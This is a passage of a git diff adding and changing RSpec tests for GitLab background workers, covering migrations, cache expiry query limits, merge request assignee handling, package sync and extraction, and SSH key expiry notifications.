+ let(:migration) { build(:batched_background_migration, :active, interval: job_interval) }
+ let(:interval_variance) { described_class::INTERVAL_VARIANCE }
+
+ before do
+ allow(Gitlab::Database::BackgroundMigration::BatchedMigration).to receive(:active_migration)
+ .and_return(migration)
+
+ allow(migration).to receive(:interval_elapsed?).with(variance: interval_variance).and_return(true)
+ allow(migration).to receive(:reload)
+ end
+
+ context 'when the reloaded migration is no longer active' do
+ it 'does not run the migration' do
+ expect_to_obtain_exclusive_lease(lease_key, timeout: lease_timeout)
+
+ expect(migration).to receive(:reload)
+ expect(migration).to receive(:active?).and_return(false)
+
+ expect(worker).not_to receive(:run_active_migration)
+
+ worker.perform
+ end
+ end
+
+ context 'when the interval has not elapsed' do
+ it 'does not run the migration' do
+ expect_to_obtain_exclusive_lease(lease_key, timeout: lease_timeout)
+
+ expect(migration).to receive(:interval_elapsed?).with(variance: interval_variance).and_return(false)
+
+ expect(worker).not_to receive(:run_active_migration)
+
+ worker.perform
+ end
+ end
+
+ context 'when the reloaded migration is still active and the interval has elapsed' do
+ it 'runs the migration' do
+ expect_to_obtain_exclusive_lease(lease_key, timeout: lease_timeout)
+
+ expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner) do |instance|
+ expect(instance).to receive(:run_migration_job).with(migration)
+ end
+
+ expect(worker).to receive(:run_active_migration).and_call_original
+
+ worker.perform
+ end
+ end
+
+ context 'when the calculated timeout is less than the minimum allowed' do
+ let(:minimum_timeout) { described_class::MINIMUM_LEASE_TIMEOUT }
+ let(:job_interval) { 2.minutes }
+
+ it 'sets the lease timeout to the minimum value' do
+ expect_to_obtain_exclusive_lease(lease_key, timeout: minimum_timeout)
+
+ expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationRunner) do |instance|
+ expect(instance).to receive(:run_migration_job).with(migration)
+ end
+
+ expect(worker).to receive(:run_active_migration).and_call_original
+
+ worker.perform
+ end
+ end
+
+ it 'always cleans up the exclusive lease' do
+ lease = stub_exclusive_lease_taken(lease_key, timeout: lease_timeout)
+
+ expect(lease).to receive(:try_obtain).and_return(true)
+
+ expect(worker).to receive(:run_active_migration).and_raise(RuntimeError, 'I broke')
+ expect(lease).to receive(:cancel)
+
+ expect { worker.perform }.to raise_error(RuntimeError, 'I broke')
+ end
+ end
+ end
+end
diff --git a/spec/workers/every_sidekiq_worker_spec.rb b/spec/workers/every_sidekiq_worker_spec.rb
index 3bb9db07ff3..5a22529b6d6 100644
--- a/spec/workers/every_sidekiq_worker_spec.rb
+++ b/spec/workers/every_sidekiq_worker_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe 'Every Sidekiq worker' do
let(:workers_without_defaults) do
- Gitlab::SidekiqConfig.workers - Gitlab::SidekiqConfig::DEFAULT_WORKERS
+ Gitlab::SidekiqConfig.workers - Gitlab::SidekiqConfig::DEFAULT_WORKERS.values
end
it 'does not use the default queue' do
diff --git a/spec/workers/expire_build_artifacts_worker_spec.rb b/spec/workers/expire_build_artifacts_worker_spec.rb
index 6d73d715d21..3f8da3fb71c 100644
--- a/spec/workers/expire_build_artifacts_worker_spec.rb
+++ b/spec/workers/expire_build_artifacts_worker_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe ExpireBuildArtifactsWorker do
describe '#perform' do
it 'executes a service' do
- expect_next_instance_of(Ci::DestroyExpiredJobArtifactsService) do |instance|
+ expect_next_instance_of(Ci::JobArtifacts::DestroyAllExpiredService) do |instance|
expect(instance).to receive(:execute).and_call_original
end
diff --git a/spec/workers/expire_job_cache_worker_spec.rb b/spec/workers/expire_job_cache_worker_spec.rb
index 95c54a762a4..8efead31a42 100644
--- a/spec/workers/expire_job_cache_worker_spec.rb
+++ b/spec/workers/expire_job_cache_worker_spec.rb
@@ -8,7 +8,8 @@ RSpec.describe ExpireJobCacheWorker do
describe '#perform' do
context 'with a job in the pipeline' do
- let(:job) { create(:ci_build, pipeline: pipeline) }
+ let_it_be(:job) { create(:ci_build, pipeline: pipeline) }
+
let(:job_args) { job.id }
include_examples 'an idempotent worker' do
@@ -31,6 +32,24 @@ RSpec.describe ExpireJobCacheWorker do
subject
end
end
+
+ it 'does not perform extra queries', :aggregate_failures do
+ worker = described_class.new
+ recorder = ActiveRecord::QueryRecorder.new { worker.perform(job.id) }
+
+ occurences = recorder.data.values.flat_map {|v| v[:occurrences]}
+ project_queries = occurences.select {|s| s.include?('FROM "projects"')}
+ namespace_queries = occurences.select {|s| s.include?('FROM "namespaces"')}
+ route_queries = occurences.select {|s| s.include?('FROM "routes"')}
+
+ # This worker is run 1 million times an hour, so we need to save as much
+ # queries as possible.
+ expect(recorder.count).to be <= 1
+
+ expect(project_queries.size).to eq(0)
+ expect(namespace_queries.size).to eq(0)
+ expect(route_queries.size).to eq(0)
+ end
end
context 'when there is no job in the pipeline' do
diff --git a/spec/workers/expire_pipeline_cache_worker_spec.rb b/spec/workers/expire_pipeline_cache_worker_spec.rb
index a8c21aa9f83..de42eeeab75 100644
--- a/spec/workers/expire_pipeline_cache_worker_spec.rb
+++ b/spec/workers/expire_pipeline_cache_worker_spec.rb
@@ -18,6 +18,23 @@ RSpec.describe ExpirePipelineCacheWorker do
subject.perform(pipeline.id)
end
+ it 'does not perform extra queries', :aggregate_failures do
+ recorder = ActiveRecord::QueryRecorder.new { subject.perform(pipeline.id) }
+
+ project_queries = recorder.data.values.flat_map {|v| v[:occurrences]}.select {|s| s.include?('FROM "projects"')}
+ namespace_queries = recorder.data.values.flat_map {|v| v[:occurrences]}.select {|s| s.include?('FROM "namespaces"')}
+ route_queries = recorder.data.values.flat_map {|v| v[:occurrences]}.select {|s| s.include?('FROM "routes"')}
+
+ # This worker is run 1 million times an hour, so we need to save as much
+ # queries as possible.
+ expect(recorder.count).to be <= 6
+
+ # These arises from #update_etag_cache
+ expect(project_queries.size).to eq(1)
+ expect(namespace_queries.size).to eq(1)
+ expect(route_queries.size).to eq(1)
+ end
+
it "doesn't do anything if the pipeline not exist" do
expect_any_instance_of(Ci::ExpirePipelineCacheService).not_to receive(:execute)
expect_any_instance_of(Gitlab::EtagCaching::Store).not_to receive(:touch)
diff --git a/spec/workers/merge_requests/assignees_change_worker_spec.rb b/spec/workers/merge_requests/assignees_change_worker_spec.rb
new file mode 100644
index 00000000000..33478daf8d3
--- /dev/null
+++ b/spec/workers/merge_requests/assignees_change_worker_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::AssigneesChangeWorker do
+ include AfterNextHelpers
+
+ let_it_be(:merge_request) { create(:merge_request) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:old_assignees) { create_list(:user, 3) }
+
+ let(:user_ids) { old_assignees.map(&:id).to_a }
+ let(:worker) { described_class.new }
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [merge_request.id, user.id, user_ids] }
+ end
+
+ describe '#perform' do
+ context 'with a non-existing merge request' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(non_existing_record_id, user.id, user_ids)
+ end
+ end
+
+ context 'with a non-existing user' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(merge_request.id, non_existing_record_id, user_ids)
+ end
+ end
+
+ context 'when there are no changes' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(merge_request.id, user.id, merge_request.assignee_ids)
+ end
+ end
+
+ context 'when the old users cannot be found' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(merge_request.id, user.id, [non_existing_record_id])
+ end
+ end
+
+ it 'gets MergeRequests::UpdateAssigneesService to handle the changes' do
+ expect_next(::MergeRequests::HandleAssigneesChangeService)
+ .to receive(:execute).with(merge_request, match_array(old_assignees), execute_hooks: true)
+
+ worker.perform(merge_request.id, user.id, user_ids)
+ end
+ end
+end
diff --git a/spec/workers/merge_requests/create_pipeline_worker_spec.rb b/spec/workers/merge_requests/create_pipeline_worker_spec.rb
new file mode 100644
index 00000000000..8efce5220be
--- /dev/null
+++ b/spec/workers/merge_requests/create_pipeline_worker_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::CreatePipelineWorker do
+ subject(:worker) { described_class.new }
+
+ describe '#perform' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project) }
+ let(:merge_request) { create(:merge_request) }
+
+ context 'when the objects exist' do
+ it 'calls the merge request create pipeline service and calls update head pipeline' do
+ aggregate_failures do
+ expect_next_instance_of(MergeRequests::CreatePipelineService, project, user) do |service|
+ expect(service).to receive(:execute).with(merge_request)
+ end
+
+ expect(MergeRequest).to receive(:find_by_id).with(merge_request.id).and_return(merge_request)
+ expect(merge_request).to receive(:update_head_pipeline)
+
+ subject.perform(project.id, user.id, merge_request.id)
+ end
+ end
+ end
+
+ shared_examples 'when object does not exist' do
+ it 'does not call the create pipeline service' do
+ expect(MergeRequests::CreatePipelineService).not_to receive(:new)
+
+ expect { subject.perform(project.id, user.id, merge_request.id) }
+ .not_to raise_exception
+ end
+ end
+
+ context 'when the project does not exist' do
+ before do
+ project.destroy!
+ end
+
+ it_behaves_like 'when object does not exist'
+ end
+
+ context 'when the user does not exist' do
+ before do
+ user.destroy!
+ end
+
+ it_behaves_like 'when object does not exist'
+ end
+
+ context 'when the merge request does not exist' do
+ before do
+ merge_request.destroy!
+ end
+
+ it_behaves_like 'when object does not exist'
+ end
+ end
+end
diff --git a/spec/workers/merge_requests/handle_assignees_change_worker_spec.rb b/spec/workers/merge_requests/handle_assignees_change_worker_spec.rb
new file mode 100644
index 00000000000..4b45f3562d6
--- /dev/null
+++ b/spec/workers/merge_requests/handle_assignees_change_worker_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::HandleAssigneesChangeWorker do
+ include AfterNextHelpers
+
+ let_it_be(:merge_request) { create(:merge_request) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:old_assignees) { create_list(:user, 3) }
+
+ let(:user_ids) { old_assignees.map(&:id).to_a }
+ let(:options) { {} }
+ let(:worker) { described_class.new }
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [merge_request.id, user.id, user_ids, options] }
+ end
+
+ describe '#perform' do
+ it 'calls MergeRequests::HandleAssigneesChangeService#execute to handle the changes' do
+ expect_next(::MergeRequests::HandleAssigneesChangeService)
+ .to receive(:execute).with(merge_request, match_array(old_assignees), options)
+
+ worker.perform(merge_request.id, user.id, user_ids, options)
+ end
+
+ context 'when there are no changes' do
+ it 'still calls MergeRequests::HandleAssigneesChangeService#execute' do
+ expect_next(::MergeRequests::HandleAssigneesChangeService)
+ .to receive(:execute).with(merge_request, [], options)
+
+ worker.perform(merge_request.id, user.id, merge_request.assignee_ids, options)
+ end
+ end
+
+ context 'when the old assignees cannot be found' do
+ it 'still calls MergeRequests::HandleAssigneesChangeService#execute' do
+ expect_next(::MergeRequests::HandleAssigneesChangeService)
+ .to receive(:execute).with(merge_request, [], options)
+
+ worker.perform(merge_request.id, user.id, [non_existing_record_id], options)
+ end
+ end
+
+ context 'with a non-existing merge request' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(non_existing_record_id, user.id, user_ids, options)
+ end
+ end
+
+ context 'with a non-existing user' do
+ it 'does nothing' do
+ expect(::MergeRequests::HandleAssigneesChangeService).not_to receive(:new)
+
+ worker.perform(merge_request.id, non_existing_record_id, user_ids, options)
+ end
+ end
+ end
+end
diff --git a/spec/workers/merge_requests/resolve_todos_worker_spec.rb b/spec/workers/merge_requests/resolve_todos_worker_spec.rb
new file mode 100644
index 00000000000..223b8b6803c
--- /dev/null
+++ b/spec/workers/merge_requests/resolve_todos_worker_spec.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::ResolveTodosWorker do
+ include AfterNextHelpers
+
+ let_it_be(:merge_request) { create(:merge_request) }
+ let_it_be(:user) { create(:user) }
+
+ let(:worker) { described_class.new }
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [merge_request.id, user.id] }
+ end
+
+ describe '#perform' do
+ it 'calls MergeRequests::ResolveTodosService#execute' do
+ expect_next(::MergeRequests::ResolveTodosService, merge_request, user)
+ .to receive(:execute)
+
+ worker.perform(merge_request.id, user.id)
+ end
+
+ context 'with a non-existing merge request' do
+ it 'does nothing' do
+ expect(::MergeRequests::ResolveTodosService).not_to receive(:new)
+
+ worker.perform(non_existing_record_id, user.id)
+ end
+ end
+
+ context 'with a non-existing user' do
+ it 'does nothing' do
+ expect(::MergeRequests::ResolveTodosService).not_to receive(:new)
+
+ worker.perform(merge_request.id, non_existing_record_id)
+ end
+ end
+ end
+end
diff --git a/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb b/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
index 24143e8cf8a..3b94eb0d1be 100644
--- a/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
+++ b/spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb
@@ -3,45 +3,37 @@
require 'spec_helper'
RSpec.describe Namespaces::InProductMarketingEmailsWorker, '#perform' do
- context 'when the application setting is enabled' do
- before do
- stub_application_setting(in_product_marketing_emails_enabled: true)
+ using RSpec::Parameterized::TableSyntax
+
+ # Running this in EE would call the overridden method, which can't be tested in CE.
+ # The EE code is covered in a separate EE spec.
+ context 'not on gitlab.com', unless: Gitlab.ee? do
+ let(:is_gitlab_com) { false }
+
+ where(:in_product_marketing_emails_enabled, :experiment_active, :executes_service) do
+ true | true | 1
+ true | false | 1
+ false | false | 0
+ false | true | 0
end
- context 'when the experiment is inactive' do
- before do
- stub_experiment(in_product_marketing_emails: false)
- end
-
- it 'does not execute the in product marketing emails service' do
- expect(Namespaces::InProductMarketingEmailsService).not_to receive(:send_for_all_tracks_and_intervals)
-
- subject.perform
- end
- end
-
- context 'when the experiment is active' do
- before do
- stub_experiment(in_product_marketing_emails: true)
- end
-
- it 'calls the send_for_all_tracks_and_intervals method on the in product marketing emails service' do
- expect(Namespaces::InProductMarketingEmailsService).to receive(:send_for_all_tracks_and_intervals)
-
- subject.perform
- end
+ with_them do
+ it_behaves_like 'in-product marketing email'
end
end
- context 'when the application setting is disabled' do
- before do
- stub_application_setting(in_product_marketing_emails_enabled: false)
- end
+ context 'on gitlab.com' do
+ let(:is_gitlab_com) { true }
- it 'does not execute the in product marketing emails service' do
- expect(Namespaces::InProductMarketingEmailsService).not_to receive(:send_for_all_tracks_and_intervals)
+ where(:in_product_marketing_emails_enabled, :experiment_active, :executes_service) do
+ true | true | 1
+ true | false | 0
+ false | false | 0
+ false | true | 0
+ end
- subject.perform
+ with_them do
+ it_behaves_like 'in-product marketing email'
end
end
end
diff --git a/spec/workers/new_issue_worker_spec.rb b/spec/workers/new_issue_worker_spec.rb
index ec129ad3380..35b83c3bee8 100644
--- a/spec/workers/new_issue_worker_spec.rb
+++ b/spec/workers/new_issue_worker_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe NewIssueWorker do
+ include AfterNextHelpers
+
describe '#perform' do
let(:worker) { described_class.new }
@@ -49,7 +51,7 @@ RSpec.describe NewIssueWorker do
expect(Notify).not_to receive(:new_issue_email)
.with(mentioned.id, issue.id, NotificationReason::MENTIONED)
- expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: user.id, klass: issue.class, object_id: issue.id)
+ expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: user.id, klass: issue.class.to_s, object_id: issue.id)
worker.perform(issue.id, user.id)
end
@@ -80,6 +82,13 @@ RSpec.describe NewIssueWorker do
worker.perform(issue.id, user.id)
end
+
+ it 'calls Issues::AfterCreateService' do
+ expect_next(::Issues::AfterCreateService)
+ .to receive(:execute)
+
+ worker.perform(issue.id, user.id)
+ end
end
end
end
diff --git a/spec/workers/new_merge_request_worker_spec.rb b/spec/workers/new_merge_request_worker_spec.rb
index 0d64973b0fa..358939a963a 100644
--- a/spec/workers/new_merge_request_worker_spec.rb
+++ b/spec/workers/new_merge_request_worker_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe NewMergeRequestWorker do
expect(Notify).not_to receive(:new_merge_request_email)
.with(mentioned.id, merge_request.id, NotificationReason::MENTIONED)
- expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: user.id, klass: merge_request.class, object_id: merge_request.id)
+ expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: user.id, klass: merge_request.class.to_s, object_id: merge_request.id)
worker.perform(merge_request.id, user.id)
end
diff --git a/spec/workers/packages/go/sync_packages_worker_spec.rb b/spec/workers/packages/go/sync_packages_worker_spec.rb
new file mode 100644
index 00000000000..ad1a85b26e4
--- /dev/null
+++ b/spec/workers/packages/go/sync_packages_worker_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Go::SyncPackagesWorker, type: :worker do
+ include_context 'basic Go module'
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ end
+
+ def perform(ref_name, path)
+ described_class.new.perform(project.id, ref_name, path)
+ end
+
+ def validate_package(package, mod, ver)
+ expect(package).not_to be_nil
+ expect(package.name).to eq(mod.name)
+ expect(package.version).to eq(ver.name)
+ expect(package.package_type).to eq('golang')
+ expect(package.created_at).to eq(ver.commit.committed_date)
+ expect(package.package_files.count).to eq(2)
+ end
+
+ shared_examples 'it creates a package' do |path, version, exists: false|
+ subject { perform(version, path) }
+
+ it "returns a package for example.com/project#{path.empty? ? '' : '/' + path}@#{version}" do
+ expect { subject }
+ .to change { project.packages.count }.by(exists ? 0 : 1)
+ .and change { Packages::PackageFile.count }.by(exists ? 0 : 2)
+
+ mod = create :go_module, project: project, path: path
+ ver = create :go_module_version, :tagged, mod: mod, name: version
+ validate_package(subject, mod, ver)
+ end
+ end
+
+ describe '#perform' do
+ context 'with no existing packages' do
+ it_behaves_like 'it creates a package', '', 'v1.0.1'
+ it_behaves_like 'it creates a package', '', 'v1.0.2'
+ it_behaves_like 'it creates a package', '', 'v1.0.3'
+ it_behaves_like 'it creates a package', 'mod', 'v1.0.3'
+ it_behaves_like 'it creates a package', 'v2', 'v2.0.0'
+ end
+
+ context 'with existing packages' do
+ before do
+ mod = create :go_module, project: project
+ ver = create :go_module_version, :tagged, mod: mod, name: 'v1.0.1'
+ Packages::Go::CreatePackageService.new(project, nil, version: ver).execute
+ end
+
+ it_behaves_like 'it creates a package', '', 'v1.0.1', exists: true
+ it_behaves_like 'it creates a package', '', 'v1.0.2'
+ it_behaves_like 'it creates a package', '', 'v1.0.3'
+ it_behaves_like 'it creates a package', 'mod', 'v1.0.3'
+ it_behaves_like 'it creates a package', 'v2', 'v2.0.0'
+ end
+
+ context 'with a package that exceeds project limits' do
+ before do
+ Plan.default.actual_limits.update!({ 'golang_max_file_size': 1 })
+ end
+
+ it 'logs an exception' do
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(instance_of(::Packages::Go::CreatePackageService::GoZipSizeError))
+
+ perform('v2.0.0', 'v2')
+ end
+ end
+
+ where(:path, :version) do
+ [
+ ['', 'v1.0.1'],
+ ['', 'v1.0.2'],
+ ['', 'v1.0.3'],
+ ['mod', 'v1.0.3'],
+ ['v2', 'v2.0.0']
+ ]
+ end
+
+ with_them do
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [project.id, version, path] }
+
+ it 'creates a package' do
+ expect { subject }
+ .to change { project.packages.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(2)
+
+ mod = create :go_module, project: project, path: path
+ ver = create :go_module_version, :tagged, mod: mod, name: version
+ package = ::Packages::Go::PackageFinder.new(project, mod.name, ver.name).execute
+ validate_package(package, mod, ver)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/packages/maven/metadata/sync_worker_spec.rb b/spec/workers/packages/maven/metadata/sync_worker_spec.rb
index 7e0f3616491..10482b3e327 100644
--- a/spec/workers/packages/maven/metadata/sync_worker_spec.rb
+++ b/spec/workers/packages/maven/metadata/sync_worker_spec.rb
@@ -61,9 +61,10 @@ RSpec.describe Packages::Maven::Metadata::SyncWorker, type: :worker do
let(:project) { create(:project) }
it 'does not create the updated metadata files' do
+ expect(worker).to receive(:log_extra_metadata_on_done).with(:message, 'Non existing versionless package(s). Nothing to do.')
+
expect { subject }
.to change { ::Packages::PackageFile.count }.by(0)
- .and raise_error(described_class::SyncError, 'Non existing versionless package')
end
end
@@ -146,9 +147,10 @@ RSpec.describe Packages::Maven::Metadata::SyncWorker, type: :worker do
let(:project) { create(:project) }
it 'does not create the updated metadata files' do
+ expect(worker).to receive(:log_extra_metadata_on_done).with(:message, 'Non existing versionless package(s). Nothing to do.')
+
expect { subject }
.to change { ::Packages::PackageFile.count }.by(0)
- .and raise_error(described_class::SyncError, 'Non existing versionless package')
end
end
diff --git a/spec/workers/packages/rubygems/extraction_worker_spec.rb b/spec/workers/packages/rubygems/extraction_worker_spec.rb
new file mode 100644
index 00000000000..15c0a3be90c
--- /dev/null
+++ b/spec/workers/packages/rubygems/extraction_worker_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Rubygems::ExtractionWorker, type: :worker do
+ describe '#perform' do
+ let_it_be(:package) { create(:rubygems_package) }
+
+ let(:package_file) { package.package_files.first }
+ let(:package_file_id) { package_file.id }
+ let(:package_name) { 'TempProject.TempPackage' }
+ let(:package_version) { '1.0.0' }
+ let(:job_args) { package_file_id }
+
+ subject { described_class.new.perform(*job_args) }
+
+ include_examples 'an idempotent worker' do
+ it 'processes the gem', :aggregate_failures do
+ expect { subject }
+ .to change { Packages::Package.count }.by(0)
+ .and change { Packages::PackageFile.count }.by(2)
+
+ expect(Packages::Package.last.id).to be(package.id)
+ expect(package.name).not_to be(package_name)
+ end
+ end
+
+ it 'handles a processing failure', :aggregate_failures do
+ expect(::Packages::Rubygems::ProcessGemService).to receive(:new)
+ .and_raise(::Packages::Rubygems::ProcessGemService::ExtractionError)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ instance_of(::Packages::Rubygems::ProcessGemService::ExtractionError),
+ project_id: package.project_id
+ )
+
+ expect { subject }
+ .to change { Packages::Package.count }.by(-1)
+ .and change { Packages::PackageFile.count }.by(-2)
+ end
+
+ context 'returns when there is no package file' do
+ let(:package_file_id) { 999999 }
+
+ it 'returns without action' do
+ expect(::Packages::Rubygems::ProcessGemService).not_to receive(:new)
+
+ expect { subject }
+ .to change { Packages::Package.count }.by(0)
+ .and change { Packages::PackageFile.count }.by(0)
+ end
+ end
+ end
+end
diff --git a/spec/workers/pages_update_configuration_worker_spec.rb b/spec/workers/pages_update_configuration_worker_spec.rb
index ff3727646c7..7cceeaa52d6 100644
--- a/spec/workers/pages_update_configuration_worker_spec.rb
+++ b/spec/workers/pages_update_configuration_worker_spec.rb
@@ -53,7 +53,7 @@ RSpec.describe PagesUpdateConfigurationWorker do
end
it "doesn't schedule a worker if updates on legacy storage are disabled", :sidekiq_inline do
- stub_feature_flags(pages_update_legacy_storage: false)
+ allow(Settings.pages.local_store).to receive(:enabled).and_return(false)
expect(Projects::UpdatePagesConfigurationService).not_to receive(:new)
diff --git a/spec/workers/post_receive_spec.rb b/spec/workers/post_receive_spec.rb
index be501318920..f7fd1b1a0a7 100644
--- a/spec/workers/post_receive_spec.rb
+++ b/spec/workers/post_receive_spec.rb
@@ -102,7 +102,10 @@ RSpec.describe PostReceive do
perform
- expect_snowplow_event(category: 'empty_repo_upload', action: 'initial_write', context: [{ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0', data: anything }])
+ expect_snowplow_event(category: 'empty_repo_upload', action: 'initial_write', context: [{
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/1-0-0',
+ data: anything
+ }])
end
it 'does not track an event for the empty_repo_upload experiment when project is not empty', :snowplow do
diff --git a/spec/workers/projects/post_creation_worker_spec.rb b/spec/workers/projects/post_creation_worker_spec.rb
new file mode 100644
index 00000000000..b15b7b76b56
--- /dev/null
+++ b/spec/workers/projects/post_creation_worker_spec.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::PostCreationWorker do
+ let_it_be(:user) { create :user }
+
+ let(:worker) { described_class.new }
+ let(:project) { create(:project) }
+
+ subject { described_class.new.perform(project.id) }
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [project.id] }
+
+ describe 'Prometheus service' do
+ context 'project is nil' do
+ let(:job_args) { [nil] }
+
+ it 'does not create prometheus service' do
+ expect { subject }.not_to change { Service.count }
+ end
+ end
+
+ context 'when project has access to shared service' do
+ context 'Prometheus application is shared via group cluster' do
+ let(:project) { create(:project, group: group) }
+ let(:cluster) { create(:cluster, :group, groups: [group]) }
+ let(:group) do
+ create(:group).tap do |group|
+ group.add_owner(user)
+ end
+ end
+
+ before do
+ create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ end
+
+ it 'creates PrometheusService record', :aggregate_failures do
+ subject
+
+ service = project.prometheus_service
+ expect(service.active).to be true
+ expect(service.manual_configuration?).to be false
+ expect(service.persisted?).to be true
+ end
+ end
+
+ context 'Prometheus application is shared via instance cluster' do
+ let(:cluster) { create(:cluster, :instance) }
+
+ before do
+ create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ end
+
+ it 'creates PrometheusService record', :aggregate_failures do
+ subject
+
+ service = project.prometheus_service
+ expect(service.active).to be true
+ expect(service.manual_configuration?).to be false
+ expect(service.persisted?).to be true
+ end
+
+ it 'cleans invalid record and logs warning', :aggregate_failures do
+ invalid_service_record = build(:prometheus_service, properties: { api_url: nil, manual_configuration: true }.to_json)
+ allow(PrometheusService).to receive(:new).and_return(invalid_service_record)
+
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(an_instance_of(ActiveRecord::RecordInvalid), include(extra: { project_id: a_kind_of(Integer) })).twice
+ subject
+
+ expect(project.prometheus_service).to be_nil
+ end
+ end
+
+ context 'shared Prometheus application is not available' do
+ it 'does not persist PrometheusService record', :aggregate_failures do
+ subject
+
+ expect(project.prometheus_service).to be_nil
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/workers/remove_expired_members_worker_spec.rb b/spec/workers/remove_expired_members_worker_spec.rb
index 5642de05731..6d0d4aeef89 100644
--- a/spec/workers/remove_expired_members_worker_spec.rb
+++ b/spec/workers/remove_expired_members_worker_spec.rb
@@ -29,6 +29,15 @@ RSpec.describe RemoveExpiredMembersWorker do
worker.perform
expect(non_expiring_project_member.reload).to be_present
end
+
+ it 'adds context to resulting jobs' do
+ worker.perform
+
+ new_job = Sidekiq::Worker.jobs.last
+
+ expect(new_job).to include('meta.project' => expired_project_member.project.full_path,
+ 'meta.user' => expired_project_member.user.username)
+ end
end
context 'project bots' do
@@ -98,6 +107,15 @@ RSpec.describe RemoveExpiredMembersWorker do
worker.perform
expect(non_expiring_group_member.reload).to be_present
end
+
+ it 'adds context to resulting jobs' do
+ worker.perform
+
+ new_job = Sidekiq::Worker.jobs.last
+
+ expect(new_job).to include('meta.root_namespace' => expired_group_member.group.full_path,
+ 'meta.user' => expired_group_member.user.username)
+ end
end
context 'when the last group owner expires' do
diff --git a/spec/workers/repository_check/dispatch_worker_spec.rb b/spec/workers/repository_check/dispatch_worker_spec.rb
index 5e1bc76ec8e..829abc7d895 100644
--- a/spec/workers/repository_check/dispatch_worker_spec.rb
+++ b/spec/workers/repository_check/dispatch_worker_spec.rb
@@ -42,5 +42,12 @@ RSpec.describe RepositoryCheck::DispatchWorker do
subject.perform
end
+
+ it 'logs unhealthy shards' do
+ log_data = { message: "Excluding unhealthy shards", failed_checks: [{ labels: { shard: unhealthy_shard_name }, message: '14:Connect Failed', status: 'failed' }], class: described_class.name }
+ expect(Gitlab::AppLogger).to receive(:error).with(a_hash_including(log_data))
+
+ subject.perform
+ end
end
end
diff --git a/spec/workers/ssh_keys/expired_notification_worker_spec.rb b/spec/workers/ssh_keys/expired_notification_worker_spec.rb
new file mode 100644
index 00000000000..249ee404870
--- /dev/null
+++ b/spec/workers/ssh_keys/expired_notification_worker_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SshKeys::ExpiredNotificationWorker, type: :worker do
+ subject(:worker) { described_class.new }
+
+ it 'uses a cronjob queue' do
+ expect(worker.sidekiq_options_hash).to include(
+ 'queue' => 'cronjob:ssh_keys_expired_notification',
+ 'queue_namespace' => :cronjob
+ )
+ end
+
+ describe '#perform' do
+ let_it_be(:user) { create(:user) }
+
+ context 'with expiring key today' do
+ let_it_be_with_reload(:expired_today) { create(:key, expires_at: Time.current, user: user) }
+
+ it 'invoke the notification service' do
+ expect_next_instance_of(Keys::ExpiryNotificationService) do |expiry_service|
+ expect(expiry_service).to receive(:execute)
+ end
+
+ worker.perform
+ end
+
+ it 'updates notified column' do
+ expect { worker.perform }.to change { expired_today.reload.expiry_notification_delivered_at }
+ end
+
+ include_examples 'an idempotent worker' do
+ subject do
+ perform_multiple(worker: worker)
+ end
+ end
+
+ context 'when feature is not enabled' do
+ before do
+ stub_feature_flags(ssh_key_expiration_email_notification: false)
+ end
+
